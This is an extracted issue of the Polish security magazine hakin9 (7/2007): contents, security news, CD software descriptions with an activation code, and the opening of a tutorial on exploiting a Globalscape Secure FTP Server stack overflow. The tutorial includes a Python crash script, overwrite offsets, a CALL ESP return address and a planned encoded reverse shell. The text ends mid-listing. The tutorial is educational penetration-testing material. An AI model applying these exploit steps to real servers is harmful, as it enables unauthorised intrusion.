hakin9 Witamy! Lato w pełni i mamy nadzieję, że nasi czytelnicy podczas swoich urlopów nie zapomną o nas i zakupią lipcowy numer hakin9 jak się obronić. Gorąco polecamy artykuł z działu atak: Praktyczny exploit z podwójnym adresem powrotnym. Kontynuujemy ciekawy temat jakim jest inwigilacja w pracy, w artykule Krzysztofa Marca pt.: Twój komputer donosicielem inwigilacja w pracy - dowiecie się czegoś więcej o podglądaniu w pracy... Zapraszam także do przeczytania artykułu o steganografii autorstwa Cezarego Cerekwickiego. Na płycie CD dołączonej do pisma tym razem nasi czytelnicy będą mogli znaleźć nowy tutorial do artykułu z hakin9 6/2007, a mianowicie Zaciemnianie kodu Artura Żarskiego oraz wiele ciekawych programów. Do użytku udostępniamy Państwu: Ashampoo Magic- Security 2007, Ashampoo Firewall Pro, BinarySec, Vip defense, Anyplace Control, Multimedia Protector oraz Panda Internet Security 2007. Pozdrawiamy i życzymy miłej lektury! Katarzyna Juszczyńska W skrócie 6 Mateusz Stępień Przedstawia garść najciekawszych wiadomości ze świata bezpieczeństwa systemów informatycznych i nie tylko. Zawartość CD 8 Prezentujemy zawartość i sposób działania najnowszej wersji naszej sztandarowej dystrybucji hakin9.live Atak Hakowanie serwera FTP 12 Mati Aharoni Mati pokazuje nam jak napisać praktyczny exploit oraz jakimi ciekawymi metodami można wykorzystać luki. PHPsh dostęp do shell a 20 Piotr Nowak Piotr pokazuje jak uzyskać dostęp do shella na serwerze, który nie jest wyposażony w tą usługę. Metody rozprzestrzeniania się botnetów 24 Dawid Gołuński, Krzysztof Kułaj Dawid i Krzysztof wyjaśniają na jakiej zasadzie działają boty (metody infekcji, ukrywanie się w systemie), jak analizować skomplikowane boty, oraz jakie zagrożenia są związane z sieciami botnet. Obrona Bezpieczne aplikacje Web w oparciu o ASP.NET2.0 32 Artur Żarski Artur przedstawia dostępne technologie platformy.net, dzięki którym aplikacje WEB mogą stać się bezpieczniejsze. Pokazane są aspekty, na które należy zwrócić uwagę przy tworzeniu i konfigurowaniu całego środowiska aplikacji. Windows 2003 Server audyt GPO 40 Piotr Błaszczeć, Tadeusz Calanca Piotr i Tadeusz wyjaśnią pojęcia i terminy związane z GPO. Jaki wpływ na bezpieczeństwo mają GPO oraz jak szybko audytować struktury GPO. Inwigilacja w pracy 46 Krzysztof Marzec Krzysztof przedstawia w swoim artykule czym jest inwigilacja oraz jakie są jej metody. 4 hakin9 Nr 7/2007 www.hakin9.org
Zagrożenia socjotechniczne a bezpieczeństwo informacji 50 Andrzej Guzik Andrzej w swoim artykule charakteryzuje czym jest cykl socjotechniczny i jakie są typowe metody socjotechniczne. Nauczymy się jak zapobiegać takim atakom. Techniki zapobiegania reverse engineering 54 Michał Bućko Z artykułu dowiesz się o najpopularniejszych technikach wymierzonych przeciwko debugowaniu i inżynierii wstecznej stosowanej przez twórców malware'u. Narzędzia NOD32 przyjazny antywirus 58 Początki Fuzzing 60 Paul Sebastian Ziegler Paul przybliża nam pojęcie fuzzingu. Artykuł pokazuje jak napisać swój własny fuzzer i jak go praktycznie wykorzystać. Steganografia 74 Cezary Cerekwicki Cezary wyjaśni nam na czym polega steganografia, jakimi techniakmi posługiwano się w przeszłości, a jakimi współcześnie. Felieton Bezpieczeństwo na szybkiego 78 Patryk Szlagowski Klub Techniczny MPP Message Partners 79 Zapowiedzi 82 Zapowiedzi artykułów, które znajdą się w następnym wydaniu naszego pisma. jest wydawany przez Software Wydawnictwo Sp. z o.o. Dyrektor: Sylwia Pogroszewska Redaktor naczelny: Martyna Żaczek martyna.zaczek@software.com.pl Redaktor prowadzący: Katarzyna Juszczyńska katarzyna.juszczynska@software.com.pl Tłumaczenie: Marek Szuba, Piotr Żuk Wyróżnieni betatesterzy: Amadeusz Jasak, Konrad Parafiańczuk, Rafał Podsiadły Opracowanie CD: Rafał Kwaśny Kierownik produkcji: Marta Kurpiewska marta@software.com.pl Skład i łamanie: Artur Wieczorek arturw@software.com.pl Okładka: Agnieszka Marchocka Dział reklamy: adv@software.com.pl Prenumerata: Marzena Dmowska pren@software.com.pl Adres korespondencyjny: Software Wydawnictwo Sp. z o.o., ul. Bokserska 1, 02-682 Warszawa, Polska Tel. +48 22 887 13 45, Fax +48 22 887 10 11 www.hakin9.org Osoby zainteresowane współpracą prosimy o kontakt: cooperation@software.com.pl Jeżeli jesteś zainteresowany zakupem licencji na wydawanie naszych pism prosimy o kontakt: Monika Nowicka e-mail: monika.nowicka@software.com.pl tel.: +48 (22) 887 12 66 fax: +48 (22) 887 10 11 Druk: 101 Studio, Firma Tęgi Redakcja dokłada wszelkich starań, by publikowane w piśmie i na towarzyszących mu nośnikach informacje i programy były poprawne, jednakże nie bierze odpowiedzialności za efekty wykorzystania ich; nie gwarantuje także poprawnego działania programów shareware, freeware i public domain. Uszkodzone podczas wysyłki płyty wymienia redakcja. Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich firm i zostały użyte wyłącznie w celach informacyjnych. Do tworzenia wykresów i diagramów wykorzystano program firmy Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit firmy G DATA Software Sp. z o.o. Redakcja używa systemu automatycznego składu UWAGA! Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej niż wydrukowana na okładce bez zgody wydawcy jest działaniem na jego szkodę i skutkuje odpowiedzialnością sądową. hakin9 ukazuje się w następujących krajach: Hiszpanii, Argentynie, Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niemczech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji. Prowadzimy również sprzedaż kioskową w innych krajach europejskich. Magazyn hakin9 wydawany jest w 7 wersjach językowych: PL ES CZ EN IT FR DE Nakład wersji polskiej 6 000 egz. UWAGA! Techniki prezentowane w artykułach mogą być używane jedynie we własnych sieciach lokalnych. Redakcja nie ponosi odpowiedzialności za niewłaściwe użycie prezentowanych technik ani spowodowaną tym utratę danych. www.hakin9.org hakin9 Nr 2/2006 5
W skrócie Animowane kursory zagrażają Windows W systemie Microsoft Windows znaleziono nowy poważny błąd, jaki związany jest z przetwarzaniem plików, w których zapisywane są animowane kursory. Problem wynika z przepełnienia bufora podczas przetwarzania pliku animowanego kursora (.ani). W wyniku przepełnienia może dojść do uruchomienia dowolnego kodu na maszynie ofiary. Luka dotyczy niemal całej rodziny Windows - od 98 poczynając, na Windows Vista kończąc. Poprawka jest już dostępna w Windows Update, a oznaczona jest numerem MS07-017. Więcej informacji na jej temat można zasięgnąć na stronie Microsoft: http://www.microsoft.com/technet/ security/bulletin/ms07-017.mspx Dziury w NAC Specjaliści z Niemieckiej firmy ERNW GmBH odkryli dwie dziury w oprogramowaniu NAC (Network Admission Control) opracowanym przez Cisco. Błędy te można wykorzystać do atakowania sieci LAN. Michael Thumann i Dror-John Roecher zademonstrowali na konferencji Black Hat w Amsterdamie narzędzie, które wykorzystuje odkryte przez nich dziury. Odkryte błędy pozwalają tak oszukać serwer ACS, jaki weryfikuje stan klientów, iż dostęp do Sieci może uzyskać nieuprawniony do tego komputer. Dzięki tym dziurom napastnik może wysłać do serwera ACS nieprawdziwe informacje, posługując się technologią spoofingu (podstawiając inny komputer w miejsce oryginalnego). Czy będzie domena.safe? Firma F-Secure proponuje utworzenie nowej domeny globalnej:.safe, z której mogłyby korzystać wyłącznie zarejestrowane instytucje finansowe. Rejestracja nazwy w takiej domenie obwarowana byłaby szeregiem ograniczeń, uniemożliwiających rejestrację domeny dla celów działalności przestępczej. Oczywiście proponowana domena nie zapewniałaby pełnej ochrony przed oszustami ale pomogłaby podnieść poziom bezpieczeństwa. Użytkownik Internetu, wchodząc na stronę o domenie.safe, miałby pewność, że za witryną kryje się prawdziwa instytucja finansowa. Polska trzecim spamerem świata Coraz więcej indywidualnego spamu Google we Wrocławiu Sophos opublikował raport dotyczący największych spamerów w pierwszym kwartale 2007 roku. Specjaliści z firmy SophosLabs skanowali spam e-mail, który łapany na całym świecie jest w tzw. spam traps. Na tej podstawie specjaliści utworzyli statystyki, z których wynika, że Polska zajmuje trzecią pozycję w zestawieniu, niechlubnie przoduje USA z wskaźnikiem 19.8%. Po raz pierwszy na liście dwunastu krajów znalazły się Indie. Dwunastu największych spamerów to: USA (19,8%), Chiny (7,5%), Polska (7,4%), Korea Płd (7%), Włochy (5%), Francja (4,1%), Niemcy (3,7%), Hiszpania (3,5%), Brazylia (3,1%), Rosja (3%), Indie (2,8%), Tajwan (2,5%). Chiny, które zawsze dorównywały USA, dramatycznie spadły w tym kwartale. Polska, z drugiej strony, wysyła coraz więcej spamu i znalazła się na trzeciej pozycji. Fakt, że Polska jest niewątpliwie mniejszym krajem niż Rosja, Indie, Chiny czy USA, sugeruje, że Polacy powinni bliżej przyjrzeć się bezpieczeństwu swoich komputerów. Polskie władze powinny edukować użytkowników w kwestii odpowiedzialności za swoje komputery - powiedział Carole Theriault, starszy konsultant bezpieczeństwa w Sophos. danych przedstawionych przez Z firmę MessageLabs wynika, że dziesięciokrotnie zwiększyła się liczba ataków, polegających na wysyłaniu niechcianych listów e-mail zawierających złośliwe oprogramowanie do pojedynczych osób. Ataki takie polegają na wysyłaniu e-maili do konkretnego internauty i skierowane są głównie przeciwko pracownikowi określonej instytucji, który posiada dostęp do ważnych informacji. Niechciane wiadomości e-mail zawierają głównie cały zestaw niebezpiecznego oprogramowania: trojany, wirusy, exploity, które umożliwiają wykradanie danych. Ta metoda przeprowadzania ataku jest bardzo skuteczna i wielu przestępców całymi miesiącami korzysta z tych samych exploitów. Centrum innowacji/usług internetowego giganta z Mountain View powstanie we Wrocławiu. Ośrodek będzie znacznie większy od krakowskiego i będzie drugim, co do wielkości centrum Google w Europie - największym pozostanie oddział w Dublinie. Kolejna inwestycja Google w Polsce jest m.in. zasługą naszych informatyków, którzy od lat na całym świecie wygrywają renomowane konkursy dla programistów. W podobnych centrach badawczo-rozwojowych na całym świecie powstają aplikacje, z których korzystają miliony internautów. Firma Google została założona w 1998 roku przez dwóch doktorantów Uniwersytetu Stanforda, Larry'ego Page'a i Sergeya Brina. Flagowymi usługami firmy są internetowa wyszukiwarka Google oraz serwisy reklamowe AdWords oraz AdSense, które stanowią główne źródło dochodów firmy. Google zatrudnia ponad 10,000 pracowników w kilkunastu krajach, wykazuje przychody na poziomie 10 miliardów i zyski rzędu 3 miliardów dolarów rocznie. Główna siedziba firmy mieści się w Mountain View, hrabstwo Santa Clara, w Kalifornii, w USA Rysunek 1. Google we Wrocławiu 6 hakin9 Nr 7/2007 www.hakin9.org
W skrócie Bezpieczne programowanie Pierwsza groźna luka w Viście programie Windows Mail, W następcy Outlook Express, odkryto poważną dziurę, która może doprowadzić do uruchomienia kodu bez informowania o tym użytkownika. Wykorzystanie luki przez atakującego nie jest łatwe. Kod musi uruchomić użytkownik, klikając na przygotowany przez atakującego link, istnieją jednak poważne ograniczenia, co do lokacji i nazwy możliwego do uruchomienia w ten sposób oprogramowania. Kod możliwy do uruchomienia z wykorzystaniem luki w Windows Mail musi mieć formę pliku wykonalnego nazwanego tak samo jak katalog, w którym się znajduje, np. winrm.cmd ulokowany w C: /windows/system32/winrm. Podatność na tego typu atak potwierdzono przez testy w różnych wersjach Prestiżowa organizacja amerykańska zrzeszająca ekspertów ds. bezpieczeństwa sieciowego (SANS Institute) uruchomiła program oceny i certyfikacji programistów pod kątem znajomości zasad bezpiecznego programowania. Początkowo dostępne będą cztery wersje egzaminów, które będą obejmowały programowanie w językach C/C++, Java/J2EE, Perl/PHP oraz.net/asp. Egzaminy sprawdzają jedynie znajomość podstawowej wiedzy dotyczącej zabezpieczeń i dobrych zasad programowania, nie wymagają one znajomości zaawansowanych technologii bezpieczeństwa. W teście możemy choćby spotkać przykłady realnego kodu, w którym należy wskazać potencjalne niebezpieczeństwo. Pierwsze egzaminy odbędą się w sierpniu w Waszyngtonie. Ich zasięg ma się później rozszerzyć na inne regiony świata, w tym Europę. Windows Vista (Ultimate, Home Premium, Home Basic, Enterprise, Business). Rysunek 2. Pierwsza groźna luka w Viście Gary McKinnon zostanie wydany władzom USA Brytyjski haker Gary McKinnon przegrał w londyńskim sądzie sprawę, w której sprzeciwiał się ekstradycji do Stanów Zjednoczonych, gdzie ma być sądzony za dokonanie największego militarnego włamania komputerowego wszech czasów. Podczas rozprawy w Sądzie Najwyższym adwokaci McKinnona wyrazili obawy przed surowym wyrokiem, jaki amerykański sąd może wymierzyć brytyjskiemu hakerowi grozi mu tam bowiem do 45 lat więzienia, mimo to jego apelacja została odrzucona. 40-letni bezrobotny londyński administrator komputerowy jest oskarżony o włamanie do 97 amerykańskich komputerów wojskowych i NASA w 2001 i 2002. Sieć komputerowa, do której się włamał, obejmuje sieć NASA, Armii Stanów Zjednoczonych, US Navy, Departament Obrony USA, Siły Powietrzne Stanów Zjednoczonych oraz jeden komputer należący do Pentagonu. Mateusz Stępień Niebezpieczna luka w DNS Microsoftu W usłudze DNS wykryto poważną lukę, która pozwala na wykonywanie nieautoryzowanego kodu. Nowoodkryta luka została zlokalizowana w systemach Windows 2000 Server SP4, Windows Server 2003 SP1 oraz Windows Server 2003 SP2. Windows 2000 Professional SP4, Windows XP SP2 i Windows Vista nie są narażone na atak. Firma McAfee poinformowała o nowej wersji szkodnika Rinbot, która przeszukuje Sieć w poszukiwaniu systemów podatnych na atak. Christopher Budd z Microsoft napisał na swoim blogu, że prace nad aktualizacją trwają 24 godziny na dobę i aktualizacja powinna ukazać się 8 maja, czyli zgodnie z harmonogramem udostępniania łatek. Microsoft tymczasem zaproponował wyłączenie zdalnego zarządzania protokołem wykonywania procedur PRC przez modyfikację rejestru, można też zablokować porty 1024 do 5000. Haker przyłapany na włamywaniu się do serwera 27 marca informatycy University of California w San Francisco zapobiegli poważnemu włamaniu. Czujni technicy zauważyli, że ktoś próbuje włamać się do serwera zawierającego ważne informacje dotyczące pracowników i studentów uczelni (46 000 osób) Specjalista Randy Lopez pracujący jako główny informatyk na uczelni, zauważył, że serwer działa wolniej niż zazwyczaj i wszczął śledztwo. Na serwerze przechowywane były informacje odnośnie listy płac pracowników uczelni oraz pomocy finansowej dla studentów, które mogły zostać wykorzystane przez hakera do kradzieży tożsamości. Wszystkie informacje zawarte na komputerze nie były zaszyfrowane, gdyż uznano, że serwer jest dobrze zabezpieczony przez zapory ogniowe. Linux zagrożony przez Wi-Fi W linuksowym sterowniku chipsetów Wi-Fi Atherosa wykryto poważny błąd, który może pozwolić napastnikowi na przejęcie kontroli nad notebookiem nawet wtedy, gdy nie jest on podłączony do bezprzewodowej sieci. www.hakin9.org hakin9 Nr 7/2007 7
hakin9.live Zawartość CD Na dołączonej do pisma płycie znajduje się hakin9.live (h9l) w wersji 4.0.0 on BackTrack2.0, zawierająca przydatne narzędzia, dokumentację, tutoriale i materiały dodatkowe do artykułów. Aby zacząć pracę z hakin9.live, wystarczy uruchomić komputer z CD. Po uruchomieniu systemu możemy zalogować się jako użytkownik hakin9 bez podawania hasła. Materiały dodatkowe zostały umieszczone w następujących katalogach: Jeden nowy tutorial do artykułu: Zaciemnianie kodu programu, hakin9.live 4.0.0. on BackTrack2.0 Programy: Ashampoo Firewall Pro, Ashampoo Magical Security, BinarySec, VIPdefence, Anyplace Control, Multimedia Protector, Panda Internet Security 2007. Żeby uruchomić swój komputer z płyty hakin9.live, ustaw swój BIOS na bootowanie z napędu CD-ROM. Po dokonanych zmianach uruchom ponownie komputer. Uruchomi się dystrybucja hakin.live, na której możesz przećwiczyć techniki prezentowane w tutorialach. Upewnij się Drogi Czytelniku czy sprawdziłeś desktopowe foldery zawierają wiele dodatkowych materiałów. Zawartość CD można również przejrzeć w systemie Windows. Tutoriale i dokumentacja W skład dokumentacji, oprócz standardowych dla Linuksa stron pomocy (strona manualna), z których skorzystać możemy poprzez konsolę wydając polecenie man [nazwa programu], wchodzą między innymi tutoriale, przygotowane przez redakcję. Na CD opracowane zostały praktyczne ćwiczenia do artykułu Zaciemnianie kodu programu. Zakładamy, że podczas wykonywania ćwiczeń związanych z artykułami i tutorialami, użytkownik korzysta z hakin9.live. Ashampoo Firewall Pro Zapora sieciowa, która jest niezbędna dla każdego użytkownika Internetu, chcącego chronić swoją prywatność. Wszystko co wychodzi i wchodzi do komputera jest sprawdzane, ataki hakerów blokowane, a nieautoryzowane wyj- Rysunek 1. Panda Internet Security 2007 ścia z naszego komputera do Internetu zatrzymywane. Mimo tak mocno rozbudowanych zabezpieczeń, poruszanie po interface jest intuicyjne, a sama aplikacja nie zajmuje dużej ilości pamięci operacyjnej (pełna wersja). Ashampoo Magical Security Oprogramowanie służy do szyfrowania danych i ochrony informacji na naszej stacji roboczej. W przeciwieństwie do innych aplikacji z tego sektora nie jest skomplikowany w użyciu. Jest to następca Ashampoo Privacy Protector, wykrzystujący szyfrowanie Advanced Encryption Standard i po za szyfrowaniem umożliwia twałe usuwanie plików z dysków. Dodatkowymi przydatnymi funkcjami są: opcja nagrywania cd bezpośrednio za pomocą AMS, oraz zapisywanie kodowanych plików w formacie EXE. Rysunek 2. Zrzut strony Anyplace Control 8 hakin9 Nr 7/2007 www.hakin9.org
hakin9.live Umożliwia to otwarcie kodowanego pliku znając hasło, bez specjalnego oprogramowania. BinarySec Jest to inteligenta aplikacja web'owa typu firewall, stworzona do tłumienia złośliwego ruchu na stronach i w aplikacjach internetowych. Śledzi normalny ruch i blokuje złośliwe rządania z wysoką precyzją. BinarySec chroni przed szerokim wachalrzem ataków, łącznie z cross-site scripting (XSS), SQL injection, command injection, PHP includes, parameter tampering, buffer overflow, directory traversal. Aplikacja posiada graficzny, przyjazny w obsłudze instalator i panel administracyjny przez przeglądarkę interentową. Wykorzystuje 128 MB pamięci ram i ok 2% CPU (wersja na 6 miesięcy). Wskazówki do instalacji: ściągnąć oprogramowanie z serwera przekształcić plik tak aby był wykonywalny chmod=x <nazwa pliku> wywołać instalację./ <nazwa pliku> Multimedia Protector Narzędzie służące do zabezpieczania pilków audio, video, obrazów, PDF, czy dokumentów tekstowych. Każdy drukowany dokument jest chroniony. Nawet podczas odtważania pliki są chronione. Nie jest to chwilowo przechowywane na dysku twardym, tylko na tak jakby wirtualnym dysku w pamięci komputera. Do wyboru mamy 10 jezyków (wersja 120 dniowa). Panda Internet Security 2007 W najnowszym oprogramowaniu Pandy, główny nacisk położono na zabezpieczenie takich danych jak, dane osobowe, numery kart kredytowych, czy hasła do logowania. Dzięki niemu nasze osobiste dane będą chronione przed internetowymi złodziejami i złośliwymi programami. W nowej wersji PIS 2007 rozbudowano technologię TruPrevent odpowiedialną za analizę behawioralną, o składnik Genetic Heuristic Engine. Będzie on odpowiedzialny za skanowanie profilu genetycznego pliku. Po za wspomnianą wyżej technologia aplikacja zawiera wbudowane takie nażędzia jak: firewall, antivirus, Antispyware/ AntiAdware, moduł blokowania niebezpiecznych stron i moduł ochrony rodzicielskiej (wersja na 3 miesiące). VIP defence Oprogramowanie dzielące się na VIP Anonymity i VIP Privacy zapewniające nam anonimowość oraz uniemożliwiające internetowym złodziejom kradzież danych. VIP Anonymity uniewidacznia twój adres IP, po przez skierowanie go do anonimowego serwera proxy. Podczas serfowania po Sieci informacje o nas są ukrywane i czyszczone. VIP Privacy umożliwia wyszukiwanie i czyszczenie wszystkich informacji o nas przechowywanych w systemie, czy zainstalowanych aplikacjach. W żaden sposób nie zmienia, ani nie kasuje prywatnych dokumentów. VIP Privacy zna 700 aplikacji i kilka tysięcy dziur przez które mogą zostać wykradzione nasze dane. Anyplace Control Zdalnie sterowany program, mogący wyświetlać obraz innego komputera na naszej stacji roboczej. Za pomocą naszej myszki i klawiatury możemy kontrolować inny komputer z jakiegokolwiek miejsca na świecie. Posługiwanie się programem jest łatwe i szybkie, możesz zapomnieć że pracujesz na zdalnej maszynie (pełna wersja). Rysunek 3. Interfejs programu kod aktywujący: 04QDqGYY3T+ErL1HGIGZ9CQCv1ArqR ewzehpeelmgjyuhfuyuodfehveii5n ffdczfpae7uspnjhqsst/p2btpn2hf j64m3tomlkbpuujljcrwibxe0ow/ip b8yifkx8+pw2+te94+nzujq/a9x26y wz7cjlsu4bjcnisgjaeddy= Rysunek 4. Panel administracyjny www.hakin9.org hakin9 Nr 7/2007 9
Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona mechanicznie, sprawdź ją na co najmniej dwóch napędach CD. W razie problemów z płytą, proszę napisać pod adres: cd@software.com.pl
Hakowanie serwera FTP Atak Mati Aharoni stopień trudności Uwielbiam przepełnienia. Za każdym razem, kiedy pracuję nad jednym z nich czuję się jak w Matrixie naginając zasady systemu, żeby zrobić coś po swojemu... W tym artykule krok po kroku napiszemy praktyczny exploit z podwójnym adresem powrotnym dla podatnego na ataki serwera FTP. W 2005 roku byłem zaangażowany w Pen Test dużej firmy ubezpieczeniowej (Ofiara). Celem pentestu była próba penetracji strefy DMZ i uzyskania dostępu administracyjnego na jednej z maszyn w tej strefie. Po długim procesie zbierania informacji odkryłem, że ofiara korzystała z serwera Globalscape Secure FTP, na jednej z maszyn w strefie DMZ. Postanowiłem poprowadzić atak w tym kierunku i ściągnąłem identyczną wersję Globalscape Secure FTP Server (GSFTPS) na moją lokalną maszynę testową. Miałem nadzieję znaleźć błąd w serwerze i może napisać dla niego exploit. Nie miałem pojęcia, że będzie to jedno z najbardziej interesujących przepełnień stosu, z jakimi miałem do czynienia. Szybko przygotowałem złożony z 20 linijek FTP Fuzzer w Pythonie (który wstyd mi pokazać!) i pozwoliłem mu działać na lokalnym serwerze GSFTPS. O dwie kawy i jednego papierosa później OllyDBG rozbłysnął na żółto wskazując, że wystąpił wyjątek. Problem Spoglądając na Olly byłem zachwycony wyglądało to podobnie jak vanilla stack overflow, z bezpośrednią kontrolą EIP. Takie scenariusze są często wykorzystywane, ponieważ przekierowanie strumienia wykonawczego jest prawie pewne. Dodatkowo, wyglądało na to, że wykorzystanie tej luki będzie trywialne, bo ECX, ESP i ESI wskazywały na adresy w pamięci, zawierające dane wejściowe naszego użytkownika. Spojrzałem na mój fuzzer i zobaczyłem, że nielegalne polecenie mogłoby zostać replikowane przez skrypt Pythona. Zobacz Listing 1. Z artykułu dowiesz się interesującej metody wykorzystywania luk, że przepełnienia bufora to zabawa! Co powinieneś wiedzieć warunki przepełnienia stosu (win32), podstawowa znajomość przepełnienia SEH, podstawowa znajomość OllyDBG, wspomniane aplikacje można znaleźć pod tym adresem : http://www.offensive-security.com/ gsftps.exe. 12 hakin9 Nr 7/2007 www.hakin9.org
Offensive Security Nadużycie EIP Następnym krokiem było określenie bajtów do nadpisania EIP, w celu przejęcia kontroli nad strumieniem wykonawczym GSFTPS w czasie przepełnienia. Listing 1. Skrypt Pythona #!/usr/bin/python import socket import struct import time buffer = '\x41'*3000 s=socket.socket(socket.af_inet, socket.sock_stream) connect=s.connect (('192.168.0.100',21)) d=s.recv(1024) time.sleep(1) s.send('user ftp\r\n') s.recv(1024) time.sleep(1) s.send('pass ftp\r\n') s.recv(1024) time.sleep(1) s.send(buffer+'r\n') Rysunek 1. Wstępny crash Rysunek 2. Crash z unikalnym buforem 3000 bajtów Rysunek 3. Przekonwertowane znaki Istnieje kilka metod, aby to zrobić, a jedne są nudniejsze od drugich. Ja wybrałem wysłanie unikalnego stringa 3000 bajtów tak, aby nadpisać EIP łatwo rozpoznawalnymi bajtami. Przesłanie tych bajtów zamiast 3000 znaków A spowodowało następujący crash. Zobacz Rysunek 2. Widzimy, że EIP został nadpisany przez string \x43\x51\x31\x43, który jest równoznaczny z CQ1C. Szukamy tej sekwencji bajtów w naszym buforze i nie znajdujemy jej. Znajdujemy jednak Cq1C. Zauważmy, że nasze oryginalne duże Q zostało zastąpione przez małe q. Bardzo podejrzane. Może to znaczyć, że GSFTPS manipuluje jakoś stringami w momencie otrzymywania zapytań i zamienia niektóre duże litery na małe. Niebawem to zbadamy. Identyfikujemy te 4 bajty (Cq1C) w naszym buforze i widzimy, że znajdują się one na pozycjach 2044-2047 w stringu. Widzimy również, że ESP wskazuje na adres, który zawiera string pochodzący od użytkownika 3cq4 oraz, że bajty te rozpoczynają się na 2052 pozycji offsetu naszego bufora 3000 bajtów. Obejście filtrowania znaków Niektóre aplikacje filtrują lub zmieniają strumień danych, który odbierają. Aby nasz exploit działał, musimy sprawić, by żadna część naszego shellcode'u (lub cały bufor w tym wypadku) nie www.hakin9.org hakin9 Nr 7/2007 13
Atak została zmieniona przez aplikację. Możemy sprawdzić filtrowanie znaków przesyłając różne znaki ASCII jako nasz shellcode, a następnie prześledzić w programie uruchomieniowym, czy cokolwiek zostało zmienione. Wysyłamy następujący bufor: buffer = '\x41'*2137 + "ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz" + '\xcc'*811 Przyglądamy się temu, jak jest on zapisany w pamięci i uzyskujemy potwierdzenie naszych podejrzeń co do filtrowania znaków. Zauważmy, że znaki pisane małą czcionką zostały zamienione na pisane dużą! To oznacza, że nie możemy mieć znaków \x61 do \x7d (od a do z) w naszym buforze. Określanie dostępnej objętości dla shellcode'u Musimy też określić dokładnie, jak dużo miejsca mamy na nasz shellcode. Możemy to zrobić przesyłając dłuższy string (w naszym przypadku, 1100 \xcc) i badając stos po crashu. buffer = '\x41'*2043 + '\x42'*4 +'\ xcc'*1100 Możemy zobaczyć, że nasz oryginalny bufor 1100 znaków ma długość 1088 bajtów w pamięci, licząc od ESP. Oznacza to, że GSFTPS obcina jakiekolwiek dodatkowe bajty po 1088 znaku. Nasz shellcode może mieć maksymalnie 1088 bajtów. 1d4feac 1d4fa6c = 440h = 1088d. Testowanie naszego exploita Opierając się na powyższych informacjach, możemy teraz napisać szkielet dla naszego exploita. Możemy sprawdzić poprawność naszych obliczeń modyfikując nasz POC. Zobacz Listing 3. Powoduje to następującą awarię. Zobacz Rysunek 5. Jak widzimy, mamy teraz całkowitą kontrolę nad EIP, a ECX oraz ESP pokazują na nasz bufor \x44. Wszystko, co pozostało nam teraz do zrobienia, to przekierowanie EIP do naszego bufora kontrolowanego przez użytkownika w ECX lub ESP i upewnienie się, że nasz złośliwy shellcode znajduje się w jednej z tych dwóch lokacji (ja wybieram ESP dla tego przykładu). Dostęp do powłoki Szukamy polecenia JMP/CALL ESP w jednym z głównych plików systemowych dll, (ja użyłem user32.dll) i znajdujemy jedno przy 7C4FEDBB. 7C4FEDBB FFD4 CALL ESP Użyjemy tego adresu powrotnego, aby skoczyć do adresu, który zawiera dane pochodzące od użytkownika. Zauważmy, że adres, który wybieramy, jest podatny na filtrowanie znaków! Zobacz Listing 4. Wynikiem tego był crash pokazany na Rysunku 6. Dzięki temu crashowi możemy stwierdzić, że wszystko wydaje się działać oraz, że zostaliśmy pomyślnie przekierowani do naszego breakpoint shellcode'u (\xcc). Zamieniamy teraz breakpointy na paskudny live win32 reverse shellcode (wzięty ze strony Metasploit). Będziemy używać enkodera PexAlphaNum, żeby dostosować się do schematu filtrowania znaków GSFTPS. Zobacz Listing 5. Podczas działania exploita dochodzi do wykonania naszego kodu Listing 2. Unikalny string 3000 bajtów bt ~ # genbuf.pl 3000 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad 9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8A h9ai0ai1ai2ai3ai4ai5ai6ai7ai8ai9aj0aj1aj2aj3aj4aj5aj6aj7aj8aj9ak0ak1ak2ak3ak4ak5ak6ak7ak8ak9al0al1al2al3al4al5al6al7al8 Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap 8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7A t8at9au0au1au2au3au4au5au6au7au8au9av0av1av2av3av4av5av6av7av8av9aw0aw1aw2aw3aw4aw5aw6aw7aw8aw9ax0ax1ax2ax3ax4ax5ax6ax7 Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb 7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6B f7bf8bf9bg0bg1bg2bg3bg4bg5bg6bg7bg8bg9bh0bh1bh2bh3bh4bh5bh6bh7bh8bh9bi0bi1bi2bi3bi4bi5bi6bi7bi8bi9bj0bj1bj2bj3bj4bj5bj6 Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn 